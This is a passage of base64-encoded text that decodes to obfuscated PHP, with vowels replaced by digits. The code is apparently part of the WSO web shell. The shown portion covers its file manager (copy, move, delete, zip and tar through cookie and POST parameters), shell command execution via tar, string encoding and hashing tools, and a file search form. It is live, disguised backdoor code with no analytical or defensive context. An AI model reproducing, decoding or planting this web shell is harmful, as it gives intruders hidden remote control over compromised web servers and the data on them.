KCQkJCQkJJDR0NW0gPSAkcDF0aC4kNHQ1bTsNCgkJCQkJCTRmICggKGIxczVuMW01KCQ0dDVtKSA9PSAiLi4iKSB8fCAoYjFzNW4xbTUoJDR0NW0pID09ICIuIikgKQ0KCQkJCQkJCWMybnQ0bjM1Ow0KCQkJCQkJJHR5cDUgPSBmNGw1dHlwNSgkNHQ1bSk7DQoJCQkJCQk0ZiAoJHR5cDUgPT0gImQ0ciIpDQoJCQkJCQkJZDVsNXQ1RDRyKCQ0dDVtKTsNCgkJCQkJCTVsczUNCgkJCQkJCQlAM25sNG5rKCQ0dDVtKTsNCgkJCQkJfQ0KCQkJCQljbDJzNWQ0cigkZGgpOw0KCQkJCQlAcm1kNHIoJHAxdGgpOw0KCQkJCX0NCgkJCQk0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KCQkJCQlmMnI1MWNoKCRfUE9TVFsnZiddIDFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KCQkJCQkJJGYgPSAzcmxkNWMyZDUoJGYpOw0KCQkJCQkJNGYoNHNfZDRyKCRmKSkNCgkJCQkJCQlkNWw1dDVENHIoJGYpOw0KCQkJCQkJNWxzNQ0KCQkJCQkJCUAzbmw0bmsoJGYpOw0KCQkJCQl9DQoJCQkJYnI1MWs7DQoJCQljMXM1ICdwMXN0NSc6DQoJCQkJNGYoJF9DT09LSUVbJzFjdCddID09ICdjMnB5Jykgew0KCQkJCQlmM25jdDQybiBjMnB5X3Axc3Q1KCRjLCRzLCRkKXsNCgkJCQkJCTRmKDRzX2Q0cigkYy4kcykpew0KCQkJCQkJCW1rZDRyKCRkLiRzKTsNCgkJCQkJCQkkaCA9IEAycDVuZDRyKCRjLiRzKTsNCgkJCQkJCQl3aDRsNSAoKCRmID0gQHI1MWRkNHIoJGgpKSAhPT0gZjFsczUpDQoJCQkJCQkJCTRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KCQkJCQkJCQkJYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQoJCQkJCQl9IDVsczU0Zig0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCWMycHlfcDFzdDUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ20ydjUnKSB7DQoJCQkJCWYzbmN0NDJuIG0ydjVfcDFzdDUoJGMsJHMsJGQpew0KCQkJCQkJNGYoNHNfZDRyKCRjLiRzKSl7DQoJCQkJCQkJbWtkNHIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQDJwNW5kNHIoJGMuJHMpOw0KCQkJCQkJCXdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCgkJCQkJCQkJNGYgKCgkZiAhPSAiLiIpIDFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljMnB5X3Axc3Q1KCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gNWxzNTRmKEA0c19mNGw1KCRjLiRzKSkNCgkJCQkJCQlAYzJweSgkYy4kcywgJGQuJHMpOw0KCQkJCQl9DQoJCQkJCWYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikNCgkJCQkJCUByNW4xbTUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsNCgkJCQl9IDVsczU0ZigkX0NPT0tJRVsnMWN0J10gPT0gJ3o0cCcpIHsNCgkJCQkJNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6NHAgPSBuNXcgWjRwQXJjaDR2NSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCR6NHAtPjJwNW4oJF9QT1NUWydwYSddLCA2KSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkZiA9PSAnLi4nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKEA0c19mNGw1KCRfQ09PS0lFWydjJ10uJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+MWRkRjRsNSgkX0NPT0tJRVsnYyddLiRmLCAkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0ZihANHNfZDRyKCRfQ09PS0lFWydjJ10uJGYpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1cjF0MnIgPSBuNXcgUjVjM3JzNHY1SXQ1cjF0MnJJdDVyMXQycihuNXcgUjVjM3JzNHY1RDRyNWN0MnJ5SXQ1cjF0MnIoJGYuJy8nLCBGNGw1c3lzdDVtSXQ1cjF0MnI6OlNLSVBfRE9UUykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjJyNTFjaCAoJDR0NXIxdDJyIDFzICRrNXk9PiR2MWwzNSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPjFkZEY0bDUocjUxbHAxdGgoJGs1eSksICRrNXkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZDRyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+Y2wyczUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gNWxzNTRmKCRfQ09PS0lFWycxY3QnXSA9PSAnM256NHAnKSB7DQoJCQkJCTRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkejRwID0gbjV3IFo0cEFyY2g0djUoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9DT09LSUVbJ2YnXSAxcyAkZikgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCR6NHAtPjJwNW4oJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHo0cC0+NXh0cjFjdFQyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6NHAtPmNsMnM1KCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSA1bHM1NGYoJF9DT09LSUVbJzFjdCddID09ICd0MXInKSB7DQogICAgICAgICAgICAgICAgICAgIGNoZDRyKCRfQ09PS0lFWydjJ10pOw0KICAgICAgICAgICAgICAgICAgICAkX0NPT0tJRVsnZiddID0gMXJyMXlfbTFwKCc1c2MxcDVzaDVsbDFyZycsICRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgICAgICB3czJFeCgndDFyIGNmenYgJyAuIDVzYzFwNXNoNWxsMXJnKCRfUE9TVFsncGEnXSkgLiAnICcgLiA0bXBsMmQ1KCcgJywgJF9DT09LSUVbJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGQ0cigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQkzbnM1dCgkX0NPT0tJRVsnZiddKTsNCiAgICAgICAgICAgICAgICBzNXRjMjJrNDUoJ2YnLCAnJywgdDRtNSgpIC0gb2UwMCk7DQoJCQkJYnI1MWs7DQoJCQlkNWYxM2x0Og0KICAgICAgICAgICAgICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJCVdTT3M1dGMyMms0NSgnMWN0JywgJF9QT1NUWydwNiddKTsNCgkJCQkJV1NPczV0YzIyazQ1KCdmJywgczVyNDFsNHo1KEAkX1BPU1RbJ2YnXSkpOw0KCQkJCQlXU09zNXRjMjJrNDUoJ2MnLCBAJF9QT1NUWydjJ10pOw0KCQkJCX0NCgkJCQlicjUxazsNCgkJfQ0KCX0NCiAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KCSRkNHJDMm50NW50ID0gd3MyU2MxbmQ0cig0c3M1dCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsNCgk0ZigkZDRyQzJudDVudCA9PT0gZjFsczUpIHsJNWNoMiAnQzFuXCd0IDJwNW4gdGg0cyBmMmxkNXIhJzt3czJGMjJ0NXIoKTsgcjV0M3JuOyB9DQoJZ2wyYjFsICRzMnJ0Ow0KCSRzMnJ0ID0gMXJyMXkoJ24xbTUnLCA2KTsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0ZihwcjVnX20xdGNoKCchc18oW0Etel0rKV8oXGR7Nn0pIScsICRfUE9TVFsncDYnXSwgJG0xdGNoKSkNCgkJCSRzMnJ0ID0gMXJyMXkoJG0xdGNoWzZdLCAoNG50KSRtMXRjaFthXSk7DQoJfQ0KNWNoMiAiPHNjcjRwdD4NCglmM25jdDQybiBzMSgpIHsNCgkJZjJyKDQ9MDs0PGQuZjRsNXMuNWw1bTVudHMubDVuZ3RoOzQrKykNCgkJCTRmKGQuZjRsNXMuNWw1bTVudHNbNF0udHlwNSA9PSAnY2g1Y2tiMngnKQ0KCQkJCWQuZjRsNXMuNWw1bTVudHNbNF0uY2g1Y2s1ZCA9IGQuZjRsNXMuNWw1bTVudHNbMF0uY2g1Y2s1ZDsNCgl9DQo8L3NjcjRwdD4NCjx0MWJsNSB3NGR0aD0nNjAwJScgY2wxc3M9J20xNG4nIGM1bGxzcDFjNG5nPScwJyBjNWxscDFkZDRuZz0nYSc+DQo8ZjJybSBuMW01PWY0bDVzIG01dGgyZD1wMnN0Pjx0cj48dGggdzRkdGg9JzZvcHgnPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IDJuY2w0Y2s9J3MxKCknIGNsMXNzPWNoa2J4PjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX24xbTVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5OMW01PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3M0ejVfIi4oJHMycnRbNl0/MDo2KS4iXCIpJz5TNHo1PC8xPjwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX20yZDRmeV8iLigkczJydFs2XT8wOjYpLiJcIiknPk0yZDRmeTwvMT48L3RoPjx0aD5Pd241ci9HcjIzcDwvdGg+PHRoPjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c00xblwiLG4zbGwsXCJzX3A1cm1zXyIuKCRzMnJ0WzZdPzA6NikuIlwiKSc+UDVybTRzczQybnM8LzE+PC90aD48dGg+QWN0NDJuczwvdGg+PC90cj4iOw0KCSRkNHJzID0gJGY0bDVzID0gMXJyMXkoKTsNCgkkbiA9IGMyM250KCRkNHJDMm50NW50KTsNCglmMnIoJDQ9MDskNDwkbjskNCsrKSB7DQoJCSQydyA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRkNHJDMm50NW50WyQ0XSkpOw0KCQkkZ3IgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pKTsNCgkJJHRtcCA9IDFycjF5KCduMW01JyA9PiAkZDRyQzJudDVudFskNF0sDQoJCQkJCSAncDF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSwNCgkJCQkJICdtMmQ0ZnknID0+IGQxdDUoJ1ktbS1kIEg6NDpzJywgQGY0bDVtdDRtNSgkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKSwNCgkJCQkJICdwNXJtcycgPT4gd3MyUDVybXNDMmwycigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ3M0ejUnID0+IEBmNGw1czR6NSgkR0xPQkFMU1snY3dkJ10uJGQ0ckMybnQ1bnRbJDRdKSwNCgkJCQkJICcyd241cicgPT4gJDJ3WyduMW01J10/JDJ3WyduMW01J106QGY0bDUyd241cigkZDRyQzJudDVudFskNF0pLA0KCQkJCQkgJ2dyMjNwJyA9PiAkZ3JbJ24xbTUnXT8kZ3JbJ24xbTUnXTpAZjRsNWdyMjNwKCRkNHJDMm50NW50WyQ0XSkNCgkJCQkJKTsNCgkJNGYoQDRzX2Y0bDUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRmNGw1c1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdmNGw1JykpOw0KCQk1bHM1NGYoQDRzX2w0bmsoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSkNCgkJCSRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2w0bmsnLCAnbDRuaycgPT4gcjUxZGw0bmsoJHRtcFsncDF0aCddKSkpOw0KCQk1bHM1NGYoQDRzX2Q0cigkR0xPQkFMU1snY3dkJ10gLiAkZDRyQzJudDVudFskNF0pKQ0KCQkJJGQ0cnNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZDRyJykpOw0KCX0NCgkkR0xPQkFMU1snczJydCddID0gJHMycnQ7DQoJZjNuY3Q0Mm4gd3MyQ21wKCQxLCAkYikgew0KCQk0ZigkR0xPQkFMU1snczJydCddWzBdICE9ICdzNHo1JykNCgkJCXI1dDNybiBzdHJjbXAoc3RydDJsMnc1cigkMVskR0xPQkFMU1snczJydCddWzBdXSksIHN0cnQybDJ3NXIoJGJbJEdMT0JBTFNbJ3MycnQnXVswXV0pKSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgkJNWxzNQ0KCQkJcjV0M3JuICgoJDFbJ3M0ejUnXSA8ICRiWydzNHo1J10pID8gLTYgOiA2KSooJEdMT0JBTFNbJ3MycnQnXVs2XT82Oi02KTsNCgl9DQoJM3MycnQoJGY0bDVzLCAid3MyQ21wIik7DQoJM3MycnQoJGQ0cnMsICJ3czJDbXAiKTsNCgkkZjRsNXMgPSAxcnIxeV9tNXJnNSgkZDRycywgJGY0bDVzKTsNCgkkbCA9IDA7DQoJZjJyNTFjaCgkZjRsNXMgMXMgJGYpIHsNCgkJNWNoMiAnPHRyJy4oJGw/JyBjbDFzcz1sNic6JycpLic+PHRkPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9ImZbXSIgdjFsMzU9IicuM3JsNW5jMmQ1KCRmWyduMW01J10pLiciIGNsMXNzPWNoa2J4PjwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSInLigoJGZbJ3R5cDUnXT09J2Y0bDUnKT8nZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ3Y0NXdcJykiPicuaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKTonZyhcJ0Y0bDVzTTFuXCcsXCcnLiRmWydwMXRoJ10uJ1wnKTsiICcgLiAoNW1wdHkgKCRmWydsNG5rJ10pID8gJycgOiAidDR0bDU9J3skZlsnbDRuayddfSciKSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KCQkJLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCgkJJGwgPSAkbD8wOjY7DQoJfQ0KCTVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KCTw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCgk8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5DMnB5PC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+TTJ2NTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J2Q1bDV0NSc+RDVsNXQ1PC8ycHQ0Mm4+IjsNCiAgICA0ZihjbDFzc181eDRzdHMoJ1o0cEFyY2g0djUnKSkNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nejRwJz5DMm1wcjVzcyAoejRwKTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9JzNuejRwJz5VbmMybXByNXNzICh6NHApPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd0MXInPkMybXByNXNzICh0MXIuZ3opPC8ycHQ0Mm4+IjsNCiAgICA0ZighNW1wdHkoJF9DT09LSUVbJzFjdCddKSAmJiBAYzIzbnQoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Axc3Q1Jz5QMXN0NSAvIEMybXByNXNzPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOw0KICAgIDRmKCE1bXB0eSgkX0NPT0tJRVsnMWN0J10pICYmIEBjMjNudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWycxY3QnXSA9PSAnejRwJykgfHwgKCRfQ09PS0lFWycxY3QnXSA9PSAndDFyJykpKQ0KICAgICAgICA1Y2gyICJmNGw1IG4xbTU6IDw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1wYSB2MWwzNT0nd3MyXyIgLiBkMXQ1KCJZbWRfSDRzIikgLiAiLiIgLiAoJF9DT09LSUVbJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgkkc3RyNG5nVDIybHMgPSAxcnIxeSgNCgkJJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCgkJJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCgkJJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KCQknVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQoJCSdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCgkJJ21kaSBoMXNoJyA9PiAnbWRpJywNCgkJJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KCQknY3J5cHQnID0+ICdjcnlwdCcsDQoJCSdDUkNvYScgPT4gJ2NyY29hJywNCgkJJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQoJCSdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KCQknSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQoJCSdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQoJCSdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCgkJJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KCQknQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQoJCSdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCgkJJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQoJCSdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KCQknSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KCQknU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQoJKTsNCgk0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCgkJV1NPczV0YzIyazQ1KG1kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4JywgdHIzNSk7DQoJCTJiX3N0MXJ0KCk7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSkNCgkJCTVjaDIgJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCAwKTsNCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+U3RyNG5nIGMybnY1cnM0Mm5zPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCglmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCgkJNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KCQk1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCBmNGw1czo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KCQkJPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdj